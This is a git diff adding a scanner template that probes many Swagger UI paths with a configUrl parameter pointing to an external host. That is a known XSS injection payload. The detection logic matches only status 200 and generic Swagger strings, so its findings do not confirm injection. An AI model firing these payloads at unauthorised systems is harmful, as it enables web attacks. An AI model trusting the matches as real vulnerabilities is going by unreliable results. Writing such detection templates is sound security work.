diff --git a/Swagger.yaml b/Swagger.yaml new file mode 100644 index 0000000..76b0257 --- /dev/null +++ b/Swagger.yaml @@ -0,0 +1,85 @@ +id: swagger-ui-config-url-injection-Extensive + +info: + name: Swagger UI Config URL Injection + author: Shadowbyte + severity: low + description: Detects if adding a configUrl parameter to Swagger UI endpoints leads to successful load (HTTP 200) and presence of Swagger UI content. Includes versioned paths. + tags: swagger-ui,xss,injection + +requests: + - method: GET + path: + - '{{BaseURL}}/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/swagger-ui?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/docs/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/idm/v2/api-docs?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/docs/api-reference?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/swaggerui?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/help?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/doc?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api-reference?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/swagger/docs/v1?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/reference?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/swagger/ui/index?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/swagger/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/swagger/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api-docs/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/docs/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/swagger/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/swagger/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/swagger-ui/api-docs?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/api-docs?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/apidocs?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/swagger?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/swagger/static/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/swagger-resources?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/swagger-resources/restservices/v2/api-docs?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/__swagger__/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/_swagger_/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/spec?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/swagger/ui/index?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/__swagger__/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/v2/doc?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/v1/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/v1/doc?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/_swagger_/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/swagger-resources/restservices/v2/api-docs?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/classicapi/doc/?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/api/v1/openapi?configUrl=https://xss.smarpo.com/test.json' + # Versioned paths + - '{{BaseURL}}/v0.12/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.11/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.10/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.9/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.8/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.7/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.6/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.5/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.4/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.3/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.2/index.html?configUrl=https://xss.smarpo.com/test.json' + - '{{BaseURL}}/v0.1/index.html?configUrl=https://xss.smarpo.com/test.json' + + redirects: true + max-redirects: 3 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "swagger-ui" # Swagger UI specific identifier + - "swagger-initializer" # Swagger UI common script + - "api-docs" # Often present in API docs + - "swagger.json" # Common in Swagger UI + condition: or + + - type: status + status: + - 200